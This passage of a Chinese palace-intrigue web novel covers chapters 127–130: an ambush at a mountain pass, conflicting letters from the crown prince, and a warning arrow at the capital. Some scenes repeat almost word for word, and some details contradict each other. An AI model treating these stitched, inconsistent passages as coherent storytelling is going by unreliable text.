做完这一切,她才缓缓地将信打开。
信上面,清清楚楚地记载着,大徽东宫太子君怀瑾,是如何与乾国的二皇子李昭暗中勾结,意图以“边境冲突”为借口,挑起两国争端!
而信的最后,还附着一张,由二皇子李昭亲笔所画的,乾国北境三座城池的军防舆图!
以及,一枚由太子君怀瑾,亲手盖上的私印!
“好,好一个君怀瑾!”
在沈琉璃的脑海中,君北玄的声音,充满了无边的愤怒与杀意!
“他竟敢……他竟敢做出此等通敌卖国之事!他竟敢,为了自己的一己私利,将整个大徽王朝的江山社稷,都视若无物!”
“这个混蛋!孤一定要亲手,将他碎尸万段!”
他从未像此刻这般,愤怒过。
“王爷,您先冷静!”沈琉璃在心里,低喝一声,“您现在发怒,解决不了任何问题!”
“本王如何冷静?!”君北玄怒道,“他这是在,将我们所有人都往死路上逼!”
“我知道!”沈琉璃的声音,也陡然拔高,“可您是不是忘了,我们现在,还在别人的陷阱里!”
她这番话,如同一盆冰水,将君北玄有些发热的头脑,瞬间浇得冰冷。
是啊……
他们现在,还在别人的陷阱里。
“那你打算如何?”他问道。
“很简单。”沈琉璃看着手中的信,缓缓说道,“将计就计!”
……
就在沈琉璃,拿到了这份“烫手山芋”的同时。隘口左侧的悬崖上的厮杀,也已接近了尾声。
萧彻和他亲手挑选的五十名精锐,悄无声息地出现在了,那些以为胜券在握的弓箭手身后!
“杀!”
随着他一声令下,一场单方面的屠杀,正式拉开了帷幕!
那些弓箭手,怎么也没想到,自己的身后竟会冒出这么一群,杀人不眨眼的魔鬼!
不过短短一炷香的功夫,整个山顶已是尸横遍野,血流成河!
“将军!”一名战士,将一个“活口”扔在了萧彻的面前,“都解决了!只剩下这个了!”
萧彻没有说话,他只是缓缓地走上前,将那个“活口”脸上的面巾,一把扯了下来!
露出的,是一张大徽王朝士兵的脸!
“说吧,”萧彻看着他,缓缓开口,“谁派你们来的?”
“是……是太子殿下!”那士兵被吓得,当场便尿了裤子,竹筒倒豆子一般,将所有事都给招了,“殿下让我们在这里设伏,说是要,要……”
“要什么?”
“要,‘迎接’未来的太子妃!”
“呵呵……好一个‘迎接’。”萧彻笑了,那笑容比哭还难看。
他没有再多说什么,只是缓缓地举起了自己手中的断头刀。
……
半个时辰后,当萧彻,提着一颗血淋淋的人头,重新回到高地时。
隘口内的战斗,也已接近了尾声。
张启年所布下的防御阵,虽然坚固,但在那群悍不畏死的“蛮族”死士面前,终究还是显得有些捉襟见肘。
数百名护卫,早已是死伤过半,阵线被撕开了一个巨大的缺口,眼看就要崩溃!
“将军!”一名副将,浑身是血地跑到张启年的面前,声嘶力竭地喊道,“顶不住了!兄弟们快顶不住了!”
“顶不住,也要顶!”张启年的眼中,闪过了一抹决然,“传我将令!所有人准备死战!”
就在此时,一阵急促的马蹄声,忽然从他们身后传来!
只见数十名身着黑色劲装的狼卫,不知何时竟已悄然抵达!
为首的,正是柒!
“张将军,”他翻身下马,对着张启年,重重一抱拳,“主公有令,命我等前来支援!”
“好!来得好!”张启年的眼中,重新燃烧起了希望的火焰!
他没有再多说什么废话,只是将手中的令旗,猛地向下一挥!
“所有人!随我反击!”
狼卫的入场,如同一群猛虎冲入了羊群,瞬间改变了整个战场的局势!
他们训练有素,配合默契,手中的战刀,更是削铁如泥!
之前还不可一世的“蛮族”死士,在他们面前,竟连一丝一毫的反抗之力都没有!
一个照面,便被杀得丢盔弃甲,溃不成军!
而就在这片混乱中,柒的身影,悄无声息地绕到了那群“蛮族”死士的身后!
他的目标,只有一个!
那个,早已被他盯了许久的黑衣头目!
“想走?”
柒的声音,不带任何感情。
那头目心中大骇,他知道自己今天遇到了强敌。情急之下,他竟是猛地一咬舌尖,喷出一口血雾,同时反手一扬,数枚闪烁着寒光的铁蒺藜朝着柒的面门激射而去!
“雕虫小技!”
柒不闪不避,手中的战刀在空中划出一道完美的圆弧,只听“叮叮叮当”一阵脆响,所有的铁蒺藜竟被他尽数磕飞!
而他本人,则借着这股反震之力,速度不减反增,瞬间便欺近到了那头目的身前!
一刀,横斩!
简单,直接,没有任何花哨。
可就是这简单的一刀,却封死了那头目所有的退路!
那头目眼中闪过绝望,他知道自己今天在劫难逃,竟是猛地一咬后槽牙!
“不好!他要自尽!”
柒的脸色,猛地一变!
他手腕一翻,刀锋下沉,精准地卸掉了那头目的下巴!
随即,他一记手刀,狠狠地劈在了那头目的后颈上!
那头目甚至连一声惨叫都没能发出,便软软地倒了下去!
“带走!”
柒没有再看他一眼,只是对着身后的狼卫,冷冷地吩咐道。
……
当这场,惊心动魄的隘口之战,终于落下帷幕时,天边已经泛起了一抹鱼肚白。
沈琉璃的马车内,那个不知名的小男孩,也缓缓地睁开了眼睛。
他看着眼前这个,长得跟仙女似的姐姐,眼中充满了迷茫。
“别怕。”沈琉璃的声音,在此刻竟是出奇地温柔,她撕下自己干净的袖口,轻轻擦拭着男孩脸上的血污,“我是来救你的人。”
“救我?”小男孩看着她,眼中充满了不信任,“我爹说,这世上除了他,谁都不能信。”
“那你爹呢?”
“我爹……”小男孩的眼中,瞬间涌上了泪水,“我爹他为了让我逃出来,已经去了一个很远的地方……”
他没有再说下去,只是将头埋进了怀里,发出了压抑的呜咽。
沈琉璃的心,没来由地狠狠一揪。
她看着眼前这个孩子,心中最柔软的地方,仿佛被什么东西给轻轻地触动了一下。
“好了,没事了。”她伸出手,轻轻地拍着他的后背,柔声安慰道,“从现在起,有姐姐在,不会再有人能伤害你了。”
“你叫什么名字?”
“……阿树。”男孩的声音细若蚊蝇。
“阿树……”沈琉璃默念着这个名字,她没有再追问,而是将一件厚实的披风,盖在了他瘦弱的身上。
在安抚男孩的过程中,她的指尖无意中触碰到了铁盒的底部,感觉到了轻微的凹凸感,似乎是一个隐藏的夹层。但此刻窗外喊杀声震天,她无暇细查。
“姐姐,”阿树忽然抬起头,抓住了她的衣袖,眼中满是惊恐,“我爹说,这东西绝对不能让羽林卫的人拿到……”
羽林卫?!
这三个字,如同一道惊雷,在沈琉璃的脑海中炸响!
“哼,”君北玄的声音,在她脑海中响起,“一个来历不明的小野种罢了,是死是活,与我们何干?你现在要做的,是问出这封信的来历!”
“王爷,有时候,人心比情报更重要。”沈琉璃在心里,平静地回应,“而且,您不觉得奇怪吗?君怀瑾的局,为何会留下这么一个活口?”
她将目光,投向了窗外那片,早已是血流成河的战场。
张启年所布下的防御阵,在“蛮族”死士悍不畏死的冲锋下,已是岌岌可危。
数百名护卫,死伤过半,阵线被撕开了一个巨大的缺口,眼看就要崩溃!而柒,和他率领的狼卫,虽然如同猛虎下山,暂时稳住了局面,却也同样陷入了苦战!
“不行!不能再这么下去了!”君北玄的声音,变得无比果决,“沈琉璃,听本王的!立刻传令,让张启年收缩防线,放弃外围所有人,都退守到你这辆马车的周围!”
“他这是在用人命,跟我们换时间!”他的声音里,充满了属于战神的冷静与决断,“君怀瑾那个混蛋,他根本就不在乎这些死士的性命!他要的,只是将我们活活地耗死在这里!”
“一旦我们的箭矢耗尽,体力不支,那便是他收网的时候!”
沈琉璃不再有半分犹豫,立刻对着车外,厉声喝道:“张将军!”
“末将在!”
“传我将令!”她的声音,响彻了整个战场,“所有人放弃外围,向主车靠拢,快!”
张启年虽然不知道,她为何会在此刻,下达如此的命令,但出于对她的信任,还是在第一时间,将手中的令旗,猛地向下一挥!
“所有人!听我号令!向主车靠拢!”
早已是强弩之末的护卫们,在听到这个命令后,如蒙大赦,连滚带爬地朝着马车,退了过去!
而在他们的身后,则是更加疯狂涌来的“蛮族”死士!
“完了!全完了!”春桃看着窗外那,越来越近的狰狞面孔,早已是泣不成声,“小姐!咱们这次,怕是真的要死在这里了!”
“闭嘴!”
沈琉璃低喝一声,眼中闪过了一抹狠戾!
“王爷,”她在心里,一字一顿地说道,“接下来,该怎么做?”
第128章 通往大徽王朝的路
只见这辆华丽的马车,竟在此时,发出了一阵机括声!
车厢两侧的挡板,轰然落下!
露出的是数十架早已上弦的军用手弩,那黑洞洞的弩口,在昏暗的天色下,散发着冰冷的寒光!
“放!”
沈琉璃的声音,不带任何感情。
“咻——!”
“咻——!”
“咻——!”
数十支弩箭,如同死神的镰刀,收割着那些,冲到阵前的“蛮族”死士!
“噗嗤——!”
“噗嗤——!”
利箭入肉的声音,在寂静的雪夜中,显得格外清晰!
那些不可一世的“蛮族”死士,甚至连一声惨叫都没能发出,便成片成片地倒下!
他们的脸上,还带着不敢置信的惊骇!
“这……这是……”
高地上,萧彻看着眼前这一幕,脸上也露出了几分恐惧!
他怎么也没想到,这个座驾里,竟然还藏着“大杀器”!
然而,这还不是结束。
“第二轮!”
沈琉璃的声音,再次响起!
只见在马车的顶棚上,不知何时竟已悄然升起了,十几个黑洞洞的炮口!
“砰!”
“砰!”
“砰!”
数十枚,由顾九亲手调配的“惊雷”,如同天女散花一般,朝着人群最密集的地方,激射而去!
“轰隆隆——!”
一阵惊天动地的爆炸声,响彻了整个山谷!
夹杂着刺鼻气味的黑色浓烟,瞬间便将整个隘口,都给彻底地笼罩了起来!
那些“蛮族”死士,在闻到这股,比马尿还熏人的气味后,纷纷停下了手中的动作,一个个捂着口鼻,涕泪横流,哪里还有半分刚才的嚣张气焰!
“杀!”
就在此时,张启年那充满了决断力的暴喝,再次响起!
早已是憋了一肚子火的护卫们,在看到这一幕后,士气大振!
他们如同猛虎下山,从那座马车后,猛地冲了出来!
一场屠杀,在风雪隘口正式上演!
……
当这场,惊心动魄的战斗落下帷幕时,天边已经泛起了一抹鱼肚白。
沈琉璃的马车旁,已是尸横遍野,血流成河。
春桃吐得,连黄疸水都快出来了。她看着眼前这,如同人间地狱般的一幕,只觉得自己的三观,都被颠覆了。
她怎么也没想到,自家小姐,竟会是一个杀人不眨眼的活阎王。
而萧彻,则独自一人站在那堆积如山的尸体前,静静地发着呆。他缓缓地蹲下身,从其中一具尸体的胸口,拔出了一支箭簇,然后,将箭簇在自己的衣袍上,仔细地擦了擦。
随即,他的瞳孔,骤然收缩!
这箭簇并非寻常的军用制式,其尾部,竟刻着一个极其微小的图腾。
那是一朵,盛开在祥云之上的羽毛!
“羽林卫……”
他喃喃自语,声音里充满了不敢置信。
“这……这不可能……”
他怎么也没想到,这场伏击,竟是一场由大徽内部势力主导的行动!
真正的敌人,早已在前方,为他们布下了一个更深的陷阱!
……
当清晨的第一缕微光,穿透隘口的薄雾时,这场惨烈至极的战斗,终于画上了一个休止符。
活下来的人,脸上没有半分胜利的喜悦,只有一种劫后余生的麻木。
张启年拖着一条被流矢划伤的胳膊,在这片堆积如山的尸体间,来回地穿行着。
他亲自清点着伤亡,每报出一个冰冷的数字,他的脸上便会多添一道岁月的沟壑。
此役,沈家护卫折损过半,他带来的那些老兵,也同样付出了惨痛的代价。
“主公。”他走到马车前,声音沙哑地汇报道,“我们的人,伤亡一百二十七人。其中,阵亡七十二人,重伤五十五人。”
车帘,被缓缓地掀开。
沈琉璃走了下来,她静静地看着眼前这片,由她亲手缔造的人间地狱。她缓缓地走到这些僵硬的尸体前,伸出手,将他们脸上覆盖的泥土和鲜血,一点一点地擦拭干净。
她的动作,很慢,很稳。
在场的所有人,都静静地看着她。
他们不知道,该用一种什么样的眼神,去看待眼前这个少女。
就在此时,一个高大的身影,悄无声息地出现在了她的身后。
是萧彻,他的身上,同样是伤痕累累,那件黑色的重甲,早已被鲜血浸透,分不清是自己的,还是敌人的。
他的手上,提着三枚,还带着血污的箭簇。
他没有说话,只是静静地看着她。
沈琉璃也没有回头,她只是将最后一名护卫那,睁开的双眼轻轻地合上。
“你说,”她缓缓开口,声音平静得可怕,“他们,都叫什么名字?”
萧彻的身体,猛地一震。
他看着沈琉璃,缓缓地走上前,将三枚箭簇,轻轻地放在了她的面前。
沈琉璃看了看,然后,缓缓地伸出手,将眼前的箭簇,一枚一枚地捡了起来。
……
半个时辰后,队伍重新启程。
只是,来时那数百人的庞大队伍,如今只剩下,不到一半。
那名,被柒活捉的“蛮族”头目,最终还是咬碎了藏在后槽牙里的毒药,当场毙命。
所有的线索,都断了。
马车内,气氛压抑得可怕。
春桃早已是哭得,连眼睛都肿成了核桃。
“小姐,您也歇会儿吧。”她哽咽着说道,“您已经,整整一天一夜,没合眼了。”
“我没事。”沈琉璃摇了摇头,她的声音,沙哑得厉害。
阿树身上的伤口,很深,很长。
显然,他爹在将他送入这马车夹层前,曾与人,发生过一场极其惨烈的厮杀。
“姐姐,”阿树看着她,小声地问道,“我们这是要去哪里呀?”
“回家。”沈琉璃看着他,脸上露出了一个微笑。
“回家?”阿树的眼中,充满了迷茫,“可是,我爹说,我们已经没有家了。”
“那就,再找一个。”沈琉璃伸出手,轻轻地为他理了理鬓边,那几缕被血污沾染的碎发,“一个,再也无人能伤害我们的家。”
她这番话,看似是在安慰阿树,实则却是在告诉自己。
做完这一切,她才缓缓地将铁盒重新拿到了自己手中。
她看着阿树,柔声问道:“阿树,你可知,这盒子里除了这封信,还藏着什么别的东西吗?”
阿树看着她,犹豫了片刻,最终还是点了点头。
他伸出那只,没有受伤的小手,在铁盒底部,轻轻地按了一下。
只听“咔嚓”一声轻响!
铁盒的夹层,应声而开!
“这是……”
“我爹说,这封信比他的命还重要。”阿树看着这封信,说道,“他让我,一定要亲手,将它交到一个叫‘君北玄’的人手上。”
君北玄?!
在沈琉璃的脑海中,君北玄的声音,轰然炸响!
他怎么也没想到,自己竟会以这种方式,再次听到自己的名字!
沈琉璃的心,也同样提到了嗓子眼!
她缓缓地将信打开,信封上没有任何署名,只有一股淡淡的龙涎香味。
她颤抖着手,将其展开。
信,是君怀瑾写的。
信上的内容,却让沈琉璃和君北玄,都如坠冰窟!
信中,君怀瑾痛陈了大徽朝堂,如今早已被外戚权臣,给搅得乌烟瘴气!
他言辞恳切地,希望自己的七弟,能看在兄弟情分上,助他一臂之力!
共同,清君侧!
而在信的末尾,他还提了一句。
“……那沈家丫头,看似柔弱,实则心机深沉,与乾国的二皇子、三皇子,都关系匪浅。怕是,早已成了别人,安插在你我身边的一枚棋子,切记,不可尽信。”
这封信,与之前那封,嫁祸君北玄的信,内容完全矛盾!
真假难辨!
“他娘的!”君北玄忍不住,当场便骂了出来!“这个混蛋!他到底想做什么?!他这是在,跟本王玩离间计吗?!”
他从未像此刻这般,迷茫过。
他可以面对,千军万马的冲锋。
他也可以面对,最恶毒的阴谋诡计。
可他却唯独,无法面对,这种用伪装做成的刀!
他不知道,这到底是君怀瑾,走投无路之下的求救,还是他为自己布下的陷阱!
……
当清晨的第一缕阳光,再次洒向这片雪原时。
队伍,重新启程。
沈琉璃将手中的两封信封存了起来,她不知道哪一封是真,哪一封是假。
或许,两封都是假的。
她唯一能确定的,就是大徽王朝,是一个比乾国,要可怕百倍的漩涡。
而她,已经没有退路了。
车轮,再次缓缓地启动了。
碾过尸体,碾过血泊,将那个充满了杀戮的隘口,远远地抛在了身后。
车厢内,阿树早已在温暖的披风下,沉沉睡去。
春桃也依偎在角落里,心有余悸。
沈琉璃则看着窗外,那条通往大徽王朝的,白茫茫的,没有尽头的路。
【乾国篇·终】
第129章 天子之箭
车轮滚滚,碾过官道上最后一段残雪,一座雄伟的城池,终于出现在了地平线的尽头。
大徽王朝,上京。
与乾国都城的温婉秀丽截然不同,这座城市充满了属于北方帝国的铁血与威严。
城墙高达数十丈,由青黑色的条石垒砌而成,墙体上还残留着刀劈斧凿的痕迹,仿佛一头沉默的巨兽,在无声地诉说着它曾经的荣耀。
“小姐……咱们……咱们到了……”
马车内,春桃整个人几乎都贴在了车窗上,她长这么大,还从未见过如此雄伟的城池,与之相比,乾国的都城简直就像是乡下财主家的后花园。
沈琉璃没有说话,她只是缓缓地掀开车帘的一角,平静地注视着那座,即将吞噬她未来命运的城。
她的心中,没有半分波澜。
“哼,外强中干罢了。”
君北玄的声音,在她脑海中响起,充满了对眼前故乡的不屑。
“这城墙,是百年前的老工部尚书,王德海督建的。看似坚固,实则外墙的青石与内里的夯土间,至少有三寸的空隙。若是本王亲率大军攻城,只需三千重甲,配上十架投石车,不出三日,便能将这所谓的‘天下第一城’,给砸个稀巴烂。”
“王爷,”沈琉璃在心里,没好气地回敬了一句,“我这次是来出嫁的,不是来攻城的。”
“有何区别?”君北玄理直气壮地反驳,“婚姻本来就是另一场,不见血的战争。”
沈琉璃没有再理会他,因为她已经没有时间了。
只见在官道的尽头,一支由数百名宫人、禁军组成的仪仗队,已经在此等候多时。
明黄色的华盖,在清冷的晨光下,闪烁着刺眼的光芒。
数十名身着彩衣的宫女,手捧香炉、玉盘,分列两旁。而在队伍的最前方,则静静地停着一顶,由十六人抬着的,象征着无上荣耀的凤鸾宝辇。
“小姐!您快看!是皇后娘娘的仪仗!”春桃激动得差点当场叫出声来,“天哪!皇后娘娘她竟亲自出城来迎接您了!这可是天大的体面啊!”
然而,沈琉璃的心,却猛地一沉。
因为,她看得清清楚楚。
这支仪仗队虽然宏大,却唯独少了属于东宫太子的旗帜。
迎接她的,是未来的婆母,而不是她未来的夫君。
“看来,我们这位太子殿下,对我这个太子妃,似乎并不怎么满意啊。”她在心里,自嘲地笑了笑。
“他不是不满意,他是根本就没把你放在眼里。”君北玄的声音,冰冷刺骨,“君怀瑾此人,最是重规矩,也最是好面子。他今日不来,便是在用这种方式,告诉所有人,也同样是在告诉你。”
“你沈琉璃,不过是父皇强塞给他的一个,上不得台面的女人罢了。”
……
车队,缓缓地停了下来。
一名身着四品内侍总管服饰的老太监,迈着小碎步,从仪仗队中走了出来。
他的脸上,挂着和善的笑容。
“咱家,给沈大小姐请安了。”他对着马车,躬身一拜,声音尖细,“皇后娘娘有旨,大小姐一路舟车劳顿,辛苦了。娘娘已在宫中备下薄宴,为大小姐接风洗尘。还请大小姐,移步凤辇。”
他这番话,说得滴水不漏。
既捧了皇后,又全了礼数,却唯独没有提太子半个字。
沈琉璃知道,自己今日若是在这里,问了半句与太子有关的话,那便是在自取其辱。
她缓缓地走下马车,对着那名老太监,盈盈一拜。
“有劳陈公公了。”
就在她,即将登上凤鸾宝辇时。
“咻——!”
一声尖锐到足以撕裂空气的嘶鸣声,忽然从远处的天际,闪电般地传来!
在场的所有人,都下意识地抬起了头!
只见一支,通体漆黑,尾羽上还带着三道金色纹路的箭矢,竟不知从何处射来!
它没有射向任何人,只是擦着沈琉璃那辆华丽马车的车顶,呼啸而过!
最终,“咄”的一声,重重地钉在了,仪仗队最前方那顶,象征着皇后威仪的明黄色华盖之上!
箭身,入木三分!
尾羽,还在疯狂地颤动着,发出“嗡嗡”的声响!
官道上,那些本还在伸长了脖子,看热闹的百姓,此刻竟是鸦雀无声!
仪仗队中,本来还奏着喜庆音乐的乐师,此刻也像是被掐住了脖子一样,发不出半点声音!
所有人的脸上,都写满了不敢置信的惊骇!
刺杀?!
竟真的有人,敢在天子脚下,在皇后娘娘的仪仗前,行刺未来的太子妃?!
“护驾!快护驾!”
陈公公尖利的声音,第一个打破了这片死寂!
他连滚带爬地扑到了沈琉璃的身前,将她死死地护在了自己的身后!
而张启年和萧彻,更是早已在第一时间,拔出了手中的兵器!
他们一左一右,如同两尊门神,将沈琉璃护得密不透风!
整个场面,彻底乱成了一锅粥!
然而,就在这片混乱中,那个本该惊慌失措的少女,却显得异常平静。
“王爷,”她在心里,问道,“您看出来了吗?”
“看出来了。”君北玄的声音,充满了凝重,“这不是刺杀。”
“这是,警告。”
“你再仔细看看这支箭。”他继续说道,“这不是寻常的箭矢,这是鸣镝。一种只有在战场上,用来传递军令时,才会使用的信号箭。”
“而这箭尾上的三道金纹,”他的声音,变得无比冰冷,“普天之下,也只有一支军队,有资格使用。”
“羽林卫!”
“大徽王朝,天子亲军!”
君北玄的这番话,让沈琉璃的心,沉入了谷底。
她终于明白了。
这哪里是什么下马威?
这分明就是,来自大徽皇帝君宏德,最直接的警告!
他在警告她,这枚即将被放入棋盘上的棋子,最好安分守己。
也同样是在警告太子,不要妄图与外戚结成,任何能威胁到他皇权的同盟!
好一个“天子之箭”!
好一个,帝王心术!
“小姐!您没事吧?!”春桃早已是吓得面无人色,她死死地抓着沈琉璃的衣袖,声音都在发颤。
沈琉璃没有回答,她只是缓缓地推开了,挡在她身前的陈公公。
她独自一人,迎着千万道惊疑不定的目光,缓缓地走到了华盖的下面。
她缓缓地伸出手,将那支还在疯狂颤动的鸣镝箭,一把拔了出来!然后,缓缓地转过身,对着远处的皇宫,重重地跪了下去!
她将箭,高高地举过了头顶。
“臣女沈琉璃,”她朗声说道,“多谢陛下,厚爱!”
“臣女必将,恪守本分,不负圣恩!”
她这番话,掷地有声!
在场的所有人,都愣住了。
他们怎么也没想到,这个看似柔弱的少女,竟会用这种方式,来化解这场危机!
而远在数里之外,皇宫最高处的观星台上。
身着一身龙袍的皇帝君宏德,缓缓地放下了手中的千里镜。
“有意思。”他看着远处那个,跪倒在地的纤细身影,脸上露出了一个,极其复杂的笑容。
“看来,朕的这个儿媳妇,远比朕想象中,还要有趣得多啊。”观星台上,皇帝君微笑着说道。
“不过,”他话锋一转,对着身旁的陈公公说道,“光会耍嘴皮子还不够,朕倒是想看看,她接下来要如何收场。”
……
官道上,气氛诡异到了极点。所有人的目光,都聚焦在了还跪在地上的沈琉璃身上。
“小姐!您快起来啊!”春桃连滚带爬地扑上前,想将沈琉璃扶起,声音里带着哭腔,“地上凉!您身子弱,小心着了寒气!”
沈琉璃没有动,她只是静静地跪着,像一尊风干了的雕塑。
“漂亮。”君北玄的声音,在她脑海中响起,“你这一跪,看似是示弱,实则却是将了所有人的军。”
“皇帝那个老狐狸,虽然给了你下马威,却也将自己摆在了一个‘以大欺小’的位置上。他要的是敲打,不是落人口实。”
“你现在就这么跪着,跪得越久,他便越是理亏。跪到最后,他不仅不能罚你,反而还要赏你!”
“王爷,”沈琉璃在心里,苦笑一声,“我现在需要的不是什么赏赐,是活路。”
她知道,自己今日若是在这里,失了半分体面,那等待着她的,将是万劫不复的深渊。
就在这片僵持中,一个温润的声音,从不远处缓缓地传了过来。
“沈大小姐,何故行此大礼?”
只见一辆,由八匹骏马拉着的,象征着储君身份的华丽马车,不知何时已悄然抵达。
车帘掀开,走下来的,正是那个本不该出现在这里的男人。
大徽王朝,太子,君怀瑾!
他今日,身着一身月白色的锦袍,腰束玉带,头戴金冠,脸上看不出半分情绪。
他的出现,瞬间将所有人的目光,都吸引了过去。
“参见太子殿下!”
陈公公第一个反应了过来,连忙跪倒在地。
紧接着,所有禁军、宫人,也都齐刷刷地跪了下去。
唯有萧彻,依旧是扛着他那柄断头刀,一脸不耐地站在原地,显得格外扎眼。
君怀瑾没有理会,他只是缓步走到沈琉璃的面前,伸出手,亲自将她扶起。
“地上凉,”他看着她,声音温和得像一阵春风,“小心着了寒气。”
他的每一个动作,每一句话,都显得那么天衣无缝。
仿佛,他真的只是一个,心疼自己未婚妻的普通男人。
可沈琉璃却能清晰地感觉到,那只扶着自己胳膊的手,是何等的冰冷,不带任何温度。
“殿下,”她低着头,轻声说道,“臣女失仪了。”
“无妨。”君怀瑾摇了摇头,他将目光,投向了那顶,早已被鸣镝箭射穿的华盖。
“父皇他,一向尚武。”他缓缓开口,说道,“今日此举,想来也只是想看看,我大徽未来的太子妃,是否也有几分不输于男儿的胆识罢了。”
“如今看来,”他转过头,看着沈琉璃,继续说道,“你没有让他失望。”
第130章 温柔的刀
君怀瑾这番话,说得滴水不漏。
既为皇帝的“失仪”做了解释,又将沈琉璃,捧到了一个极高的位置上。
“好一个‘尚武之风’。”君北玄在她脑中,冷笑一声。
“王爷,”沈琉璃在心里,平静地回应,“现在,该我们落子了。”
她缓缓地挣脱开君怀瑾的手,走到大殿的中央。
她将那支鸣镝箭,重新举过了头顶。
“殿下,陛下隆恩,臣女感激涕零。”她看着他,缓缓说道,“只是,光有胆识还不够。”
“臣女以为,”她的声音,陡然拔高,“大徽王朝,之所以能威震四海,靠的从来都不是什么阴谋诡计。”
“而是,堂堂正正的雷霆之威!”
她顿了顿,环顾四周,最终将目光,落在了围观的百姓身上。
“今日,臣女初到贵宝地,便得见陛下如此‘厚爱’,心中实在是惶恐至极。”
“臣女不才,也想为陛下,为我大徽王朝,献上一份薄礼。”
她将手中的鸣镝箭,交到了身旁的张启年手上。
“张将军,”她看着他,说道,“劳烦您,将此箭,重新射回它该去的地方!”
“什么?!”
她这番话,让在场所有人都愣住了!
将天子之箭,射回皇宫?!
这个女人,是疯了吗?!
“你疯了吗?!”君北玄在她脑中,也忍不住低喝一声,“沈琉璃,你知不知道你在做什么?!这不是勇敢,这是在挑衅皇权!”
“王爷,”沈琉璃在心里,平静地回应,“有时候,臣服就是用一种,比君王更强硬的姿态,来告诉他,我懂你的规矩。”
张启年的手,在微微地发抖。
他看着手中的鸣镝箭,只觉得自己的心中,掀起了滔天巨浪!
“怎么?”沈琉璃看着他,“将军是不敢吗?”
“末将……”
“张将军,”君怀瑾的声音,不紧不慢地响起,“既然是未来太子妃的心意,那便照做吧。”
“是!”
张启年不再有任何犹豫,他从身后,取下了一张,早已被磨得油光发亮的铁胎弓!
弯弓,搭箭!
“嗡——!”
一声弓弦的嗡鸣声,响彻了整个官道!
那支黑色的鸣镝箭,化作一道流光,带着一股一往无前的气势,朝着远处的皇宫,激射而去!
所有人的目光,都追随着那道流光,仿佛那上面承载的,是他们所有人的命运。
最终,那支箭,在所有人的注视下,精准地落在了,观星台上,那面象征着皇权的龙旗之上!
皇帝君宏德看着还在疯狂颤动的龙旗,脸上露出了复杂的神情。
“好,好一个‘雷霆之威’。”
许久,他才缓缓开口,声音里听不出喜怒。
“看来,这盘棋是越来越有趣了。”
风停了,雪歇了。
仿佛连这天地,都被这惊世骇俗的一箭,给彻底地镇住了。
春桃早已是吓得,连大气都不敢出。她看着自家小姐那单薄的背影,只觉得自己的心,都快要从嗓子眼里跳出来了。
完了……
这次是真的,玩脱了……
而张启年,在射出这一箭后,便将手中的铁胎弓,重重地扔在了地上。他的脸上,没有半分建功的喜悦,只有一种听天由命的苍凉。
他知道,自己刚才射出去的,不仅仅是一支箭。
更是,他和他身后数百名将士,乃至整个尚书府的身家性命。
唯有萧彻,在看到这一幕时,眼神里竟是闪过了惺惺相惜的感情。
“好,好一个沈琉璃。”他喃喃自语,声音里竟是带上了几分,连他自己都未曾察觉的敬佩,“君北玄那个混蛋,到底是从哪里,找来了这么一个,比他还疯的女人?”
就在这时,太子君怀瑾笑了。
“呵呵……”
那笑容很轻,很淡,却如同一阵春风,将这冰冷的空气,都给吹得暖了几分。
“沈大小姐,”他看着沈琉璃,缓缓说道,“你这份‘回礼’,父皇想必会很喜欢。”
“只是,”他话锋一转,继续说道,“这入宫的路,怕是不会太平了。”
“这顶凤辇,虽然华贵,却也太过扎眼。为免再生事端,不如,便由孤亲自护送大小姐入宫,如何?”
他这番话,说得滴水不漏。
“他这是在,向你示好。”君北玄的声音,在沈琉璃的脑海中响起,“也是在,向皇帝示威。”
“他用这种方式告诉所有人,你沈琉璃是他东宫的人。谁若是再敢动你,那便是不给他这个太子面子。”
“王爷,”沈琉璃在心里,苦笑一声,“您不觉得,这样的示好,有些太烫手了吗?”
“烫手,也要接。”君北玄的声音,掷地有声,“你现在,没有别的选择了。”
……
半个时辰后,一支由太子亲自护送的车队,浩浩荡荡地朝着皇宫的方向,驶了过去。
那顶,本该是属于沈琉璃的凤鸾宝辇,早已被丢弃在了官道上。而沈琉璃,则与太子君怀瑾,同乘一车。
车厢内,空间很大,也很温暖。
地上铺着厚厚的地毯,角落里的香炉中,燃烧着能凝神静气的龙涎香。
可沈琉璃却只觉得,自己仿佛是坐在一座,会移动的冰窖里。
因为,坐在她对面的男人,虽然脸上总是带着温和的笑容,可他的眼睛里,却看不到一丝温度。
“大小姐,”他亲自为她,斟上了一杯热茶,“还在为刚才的事,后怕?”
“殿下说笑了。”沈琉璃低着头,轻声说道,“臣女只是没想到,这大徽王朝的民风,竟会如此彪悍。”
“呵呵,让你见笑了。”君怀瑾笑了笑,他将手中的茶杯放下,看似随意地问道,“不过,孤倒是有些好奇,大小姐方才,为何会如此笃定,那支箭是父皇所为呢?”
来了!
沈琉璃的心,猛地一紧!
她知道,真正的交锋,现在才刚刚开始。
“回禀殿下,臣女愚钝,不敢妄测圣意。”她低着头,轻声说道,“只是觉得,普天之下,也只有陛下,才有此等雷霆万钧的手段罢了。”
她这记马屁,拍得不着痕迹。
君怀瑾闻言,脸上的笑意更深了几分,他没有再纠结于箭的来历,而是换了一个更刁钻的问题。
“大小姐这句‘雷霆之威’说得极好。”他缓缓开口,“颇有几分,我那位七弟的风范。”
七弟?
君北玄?!
沈琉璃端着茶杯的手,不易察觉地轻轻一颤,一滴滚烫的茶水溅到了她的手背上。
“完了!”君北玄的声音,在她脑中猛地炸响,“这个家伙,他在试探你!他在怀疑你与我之间的关系!”
沈琉璃抬起头,脸上露出了一个困惑表情:“殿下恕罪,臣女愚钝,不知殿下所指的‘七弟’是哪位王爷?”
她这副“天真无邪”的模样,让君怀瑾的眼中,闪过了一抹意味深长的精光。
“哦?看来是孤唐突了。”他笑了笑,“孤说的是我七弟,肃王君北玄。他常年镇守北境,性情刚烈,行事作风与大小姐你方才那股一往无前的气势,倒是有几分相似。”
“只可惜,”他长长地叹了一口气,声音里带上了几分惋惜,“他近来身子抱恙,一直在北境‘静养’,怕是连我们的喜酒都喝不上了。”
他这番话,看似是在闲话家常,实则却是字字如刀!
他不仅在试探沈琉璃是否知晓君北玄的存在,更是在不动声色地,观察着她的反应!
“原来是肃王殿下。”沈琉璃恍然大悟地点了点头,“臣女虽然远在乾国,却也曾听闻过肃王殿下的威名!听闻殿下他,年少成名,十五岁便上了战场,凭一己之力,便将那骁勇善战的蛮族,打得十年不敢南下牧马!实乃顶天立地的大英雄!”
“只可惜,”她的声音里,也带上了几分惋惜,“英雄多磨难,竟不想殿下他年纪轻轻,便落下了病根,真是天妒英才啊。”
